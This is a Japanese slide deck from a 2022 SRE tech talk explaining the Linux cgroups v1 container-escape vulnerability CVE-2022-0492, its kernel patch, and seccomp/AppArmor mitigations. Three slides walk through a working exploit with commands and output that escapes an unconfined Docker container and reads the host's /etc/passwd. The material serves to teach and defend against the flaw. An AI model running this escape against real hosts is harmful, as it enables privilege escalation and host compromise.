$30 off During Our Annual Pro Sale. View Details »

脆弱性に学ぶコンテナセキュリティ

 脆弱性に学ぶコンテナセキュリティ

3-shake SRE Tech Talk #3 の登壇資料です。
https://3-shake.connpass.com/event/241284/

Kyohei Mizumoto

March 18, 2022
Tweet

More Decks by Kyohei Mizumoto

Other Decks in Technology

Transcript

  1. 脆弱性に学ぶ
    コンテナセキュリティ

    View Slide

  2. Copyrights©3-shake Inc. All Rights Reserved. 2
    whoami
    株式会社スリーシェイク Sreake事業部
    業務内容
    - SRE
    - AWS, GCP
    - terraform, kubernetes, etc...
    - CSIRT
    - セキュリティイベント・脆弱性対応
    - サイバー演習
    - 組織強化、自動化
    - その他
    - 3-shake SRE Tech Talk 運営
    水元 恭平 (@kyohmizu)

    View Slide

  3. Copyrights©3-shake Inc. All Rights Reserved. 3
    モチベーション
    脆弱性から Linux やコンテナセキュリティの理解を深めよう!
    メリット
    - 脆弱性の解説記事を読むことで理解が深まる
    - 範囲が限定的なため、比較的短時間で取り組むことができる
    - 目的を持って調査できる
    - 実際に手を動かすことで様々な知見を得られる
    デメリット
    - 体系的な理解には不向き
    - 悪用手順が複雑な脆弱性は理解が難しい

    View Slide

  4. Copyrights©3-shake Inc. All Rights Reserved. 4
    コンテナ関連の脆弱性 in 2022
    CVE-2021-4154
    - cgroups v1 の脆弱性
    - use-after-free による非特権ユーザの特権昇格、コンテナブレイクアウト、 DoS
    CVE-2022-0185
    - Kernel の Filesystem Context 機能の脆弱性
    - バッファオーバーフローによる非特権ユーザの特権昇格、コンテナブレイクアウト
    CVE-2022-0492
    - cgroups v1 の脆弱性
    - release_agent を設定することで非特権ユーザの特権昇格、コンテナブレイクアウトが可能
    CVE-2022-23648
    - containerd の脆弱性
    - 特殊なイメージ設定のコンテナで、ホストの読み取り専用ファイルにアクセス可能

    View Slide

  5. Copyrights©3-shake Inc. All Rights Reserved. 5
    CVE-2022-0492
    コンテナエスケープと特権昇格の脆弱性
    - cgroups v1 の release_agent
    - ホスト上で任意のコマンドを実行可能
    - capability のチェック漏れにより非特権ユーザから設定が行えた
    - cgroups v2 には release_agent はないため影響なし
    - seccomp または AppArmor/SELinux を有効にすることで回避可能
    エクスプロイトの再現が容易で、詳細な解説記事が出ているため取り組みやすい
    https://unit42.paloaltonetworks.jp/cve-2022-0492-cgroups/
    https://sysdig.jp/blog/detecting-mitigating-cve-2021-0492-sysdig/

    View Slide

  6. Copyrights©3-shake Inc. All Rights Reserved. 6
    release_agent について
    cgroup 内のプロセスの終了時に起動するプログラムを設定
    - release_agent は各 cgroup 階層のルートディレクトリに配置
    - リリースエージェントプログラムは ホストの root 権限で実行される
    - cgroup ディレクトリ内の notify_on_release の値で判断
    - notify_on_release = 1 の場合、リリースエージェントプログラムを起動
    もともと CAP_SYS_ADMIN があればコンテナエスケープ可能だった
    https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
    本脆弱性は、CAP_SYS_ADMIN を持たない非特権コンテナから
    release_agent を設定できたことが問題

    View Slide

  7. Copyrights©3-shake Inc. All Rights Reserved. 7
    エクスプロイト (1/4)
    前提条件
    - コンテナを root ユーザーとして実行
    - seccomp, AppArmor/SELinux がいずれも有効でない
    - ホストの非特権ユーザー名前空間が有効( ubuntu ではデフォルト)
    要点
    - コンテナから cgroups の release_agent に書き込みたい
    - rdma サブシステムは root cgroup に所属しているが、readonly でマウントされている
    - cgroupfs を rw で新たにマウントしたいが、マウントには CAP_SYS_ADMIN が必要
    - unshare で user namespace を作成すると CAP_SYS_ADMIN が得られる
    - cgroup, mount namespace も作成すれば cgroupfs をマウント可能
    - rdma cgroupfs をマウント すると、release_agent に書き込み可能
    - 任意の操作をホストの root 権限で実行

    View Slide

  8. Copyrights©3-shake Inc. All Rights Reserved. 8
    # uname -a
    Linux ip-172-31-1-29 5.13.0-1017-aws #19~20.04.1-Ubuntu SMP Mon Mar 7 12:53:12 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
    # docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash
    root@ab988587a245:/# cat /proc/self/cgroup
    13:misc:/
    12:rdma:/ ← 1. rdma サブシステムは root cgroup

    1:name=systemd:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
    0::/system.slice/containerd.service
    root@ab988587a245:/# mount | grep 'cgroup (ro'
    cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)

    cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma) ← 2. readonly でマウントされている
    cgroup on /sys/fs/cgroup/misc type cgroup (ro,nosuid,nodev,noexec,relatime,misc)
    root@ab988587a245:/# ls /sys/fs/cgroup/rdma/
    cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks
    root@ab988587a245:/# cat /proc/self/status | grep CapEff
    CapEff: 00000000a80425fb
    root@ab988587a245:/# capsh --decode=00000000a80425fb
    0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_n
    et_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap ← 3. CAP_SYS_ADMIN を持たない
    エクスプロイト (2/4)

    View Slide

  9. Copyrights©3-shake Inc. All Rights Reserved. 9
    root@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt ← 4. CAP_SYS_ADMIN を持たないのでマウントできない
    mount: /mnt: permission denied.
    root@ab988587a245:/# unshare -rmC bash ← 5. user, mount, cgroup を分離
    root@ab988587a245:/# cat /proc/self/status | grep CapEff
    CapEff: 000001ffffffffff
    root@ab988587a245:/# capsh --decode=000001ffffffffff
    0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_i
    mmutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_s
    ys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mkno
    d,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap
    _audit_read,38,39,40 ← 6. CAP_SYS_ADMIN を持つ
    root@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt ← 7. rdma サブシステムをマウント
    root@ab988587a245:/# ls /mnt
    cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks
    root@ab988587a245:/# mount | grep 'cgroup (rw'
    cgroup on /mnt type cgroup (rw,relatime,rdma)
    root@ab988587a245:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
    root@ab988587a245:/# echo $host_path
    /var/lib/docker/overlay2/20c4102a1a817b0e564734054b876c051732c62f4993ce682508ac7cd7fcb1c6/diff ← 8. docker 内のルートパス (upperdir)
    root@ab988587a245:/# echo "$host_path/cmd" > /mnt/release_agent
    root@ab988587a245:/# echo '#!/bin/sh' > /cmd
    root@ab988587a245:/# echo "cat /etc/passwd > $host_path/output" >> /cmd
    エクスプロイト (3/4)

    View Slide

  10. Copyrights©3-shake Inc. All Rights Reserved. 10
    root@ab988587a245:/# chmod a+x /cmd
    root@ab988587a245:/# mkdir /mnt/xx ← 9. child cgroup を作成
    root@ab988587a245:/# ls /mnt/xx/
    cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
    root@ab988587a245:/# echo 1 > /mnt/xx/notify_on_release
    root@ab988587a245:/# sh -c "echo \$\$" > /mnt/xx/cgroup.procs ← 10. すぐに終了するプロセスを xx に追加
    root@ab988587a245:/# cat /output
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

    エクスプロイト (4/4)

    View Slide

  11. Copyrights©3-shake Inc. All Rights Reserved. 11
    static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of, char *buf, size_t nbytes, loff_t off)
    {
    struct cgroup *cgrp;
    + struct cgroup_file_ctx *ctx;
    BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);
    + /*
    + * Release agent gets called with all capabilities,
    + * require capabilities to set release agent.
    + */
    + ctx = of->priv;
    + if ((ctx->ns->user_ns != &init_user_ns) ||
    + !file_ns_capable(of->file, &init_user_ns, CAP_SYS_ADMIN)) ← init_user_ns かつ CAP_SYS_ADMIN を持つ場合のみ
    + return -EPERM;
    cgrp = cgroup_kn_lock_live(of->kn, false);
    修正パッチ
    https://github.com/torvalds/linux/commit/24f6008564183aa120d07c03d9289519c2fe02af
    https://github.com/torvalds/linux/commit/467a726b754f474936980da793b4ff2ec3e382a7
    kernel/cgroup/cgroup-v1.c

    View Slide

  12. Copyrights©3-shake Inc. All Rights Reserved. 12
    # uname -r
    5.17.0-051700rc7-generic
    # docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash
    root@a45e44c77da9:/# unshare -rmC bash
    root@a45e44c77da9:/# mount -t cgroup -o rdma cgroup /mnt
    root@a45e44c77da9:/# ls /mnt
    cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks
    root@a45e44c77da9:/# echo test > /mnt/release_agent
    bash: echo: write error: Operation not permitted
    修正パッチ
    適用後は release_agent への書き込み不可
    - CAP_SYS_ADMIN は持つが init user namespace でないため
    - init user namespace かつ CAP_SYS_ADMIN を同時に満たすのは非特権コンテナだと不可能
    (厳密にはそれぞれ見ている use_ns が違う)
    - 特権コンテナでは引き続きコンテナブレイクアウト可能
    - 非特権コンテナにする、 seccomp や AppArmor/SELinux 等の対策は必要

    View Slide

  13. Copyrights©3-shake Inc. All Rights Reserved. 13
    コンテナセキュリティ
    seccomp
    - コンテナ内で実行できるシステムコールを制限する
    - unshare システムコールをブロック
    AppArmor (SELinux)
    - ファイル操作、プログラム実行、 capabilities 等を制限する
    - mount namespace の作成を制限
    # docker run --rm -it --security-opt seccomp=unconfined ubuntu bash ← AppArmor 有効
    root@46912ffebb2c:/# cat /proc/self/attr/current
    docker-default (enforce)
    root@46912ffebb2c:/# unshare -rmC bash
    unshare: cannot change root filesystem propagation: Permission denied
    # docker run --rm -it --security-opt apparmor=unconfined ubuntu bash ← seccomp 有効
    root@fb3522b81478:/# cat /proc/self/status | grep Seccomp
    Seccomp: 2
    Seccomp_filters: 1
    root@fb3522b81478:/# unshare -rmC bash
    unshare: unshare failed: Operation not permitted

    View Slide

  14. Copyrights©3-shake Inc. All Rights Reserved. 14
    Kubernetes の場合
    seccomp や AppArmor/SELinux は環境や設定次第では OFF のため影響がある
    - ノードやコンテナランタイムで有効にする必要がある( AppArmor, SELinux)
    - Pod マニフェストに設定する必要がある( seccomp, AppArmor, SELinux)
    - securityContext の設定(allowPrivilegeEscalation, readOnlyRootFilesystem, capabilities 等)
    とはいえ...
    EKS
    - Amazon Linux 2 ではコンテナ内に root cgroup がマウントされたサブシステムはない
    - cgroup を新規にマウントしても release_agent は見えない
    GKE
    - COS はデフォルトで AppArmor が有効になっている
    https://cloud.google.com/container-optimized-os/docs/how-to/secure-apparmor
    → EKS, GKE を使用している場合は影響なさそう
    $ k run ubuntu --image ubuntu -- sleep 3600
    pod/ubuntu created
    $ k exec -it ubuntu -- bash
    root@ubuntu:/# cat /proc/self/attr/current
    cri-containerd.apparmor.d (enforce)
    root@ubuntu:/# unshare -rmC bash
    unshare: cannot change root filesystem propagation: Permission denied

    View Slide

  15. Copyrights©3-shake Inc. All Rights Reserved. 15
    まとめ
    CVE-2022-0492 の調査で得られた知見
    - コンテナ要素の基本的理解
    - cgroups
    - namespaces
    - (OverlayFS)
    - cgroups v1 の release_agent の仕組みと実装
    - コンテナブレイクアウト
    - コンテナセキュリティ
    - seccomp
    - AppArmor/SELinux
    - Kubernetes のコンテナセキュリティ

    View Slide

  16. Copyrights©3-shake Inc. All Rights Reserved. 16
    appendix
    ubuntu 21.10 に最新の Kernel (v5.17-rc7) をインストールする
    https://linuxhint.com/install-linux-kernel-ubuntu/
    https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.17-rc7/
    $ wget http://mirrors.kernel.org/ubuntu/pool/main/o/openssl/libssl3_3.0.1-0ubuntu1_amd64.deb
    $ sudo dpkg -i libssl3_3.0.1-0ubuntu1_amd64.deb
    $ mkdir work && cd work
    $ wget
    https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.17-rc7/amd64/linux-headers-5.17.0-051700rc7-generic_5.17.0-051700rc7.202203062330_amd64.d
    eb
    $ wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.17-rc7/amd64/linux-headers-5.17.0-051700rc7_5.17.0-051700rc7.202203062330_all.deb
    $ wget
    https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.17-rc7/amd64/linux-image-unsigned-5.17.0-051700rc7-generic_5.17.0-051700rc7.202203062330_a
    md64.deb
    $ wget
    https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.17-rc7/amd64/linux-modules-5.17.0-051700rc7-generic_5.17.0-051700rc7.202203062330_amd64.d
    eb
    $ sudo dpkg -i *.deb
    $ reboot

    View Slide

  17. Copyrights©3-shake Inc. All Rights Reserved. 17
    CVE-2022-0492
    https://unit42.paloaltonetworks.jp/cve-2022-0492-cgroups/
    https://sysdig.jp/blog/detecting-mitigating-cve-2021-0492-sysdig/
    https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2022/03/06/cve-2022-0492
    https://nvd.nist.gov/vuln/detail/CVE-2022-0492
    Linux
    https://lwn.net/Articles/679786/
    https://www.nginx.com/blog/what-are-namespaces-cgroups-how-do-they-work/
    https://linuxhint.com/install-linux-kernel-ubuntu/
    https://man7.org/linux/man-pages/man7/cgroups.7.html
    https://blog.tiqwab.com/2021/11/13/docker-and-cgroups.html
    https://en.wikipedia.org/wiki/Seccomp
    https://en.wikipedia.org/wiki/Security-Enhanced_Linux
    https://manpages.ubuntu.com/manpages/xenial/man5/apparmor.d.5.html
    コンテナセキュリティ
    https://container-security.dev/security/breakout-to-host.html
    https://speakerdeck.com/mochizuki875/container-dev-security
    https://speakerdeck.com/mochizuki875/container-seccomp
    参考

    View Slide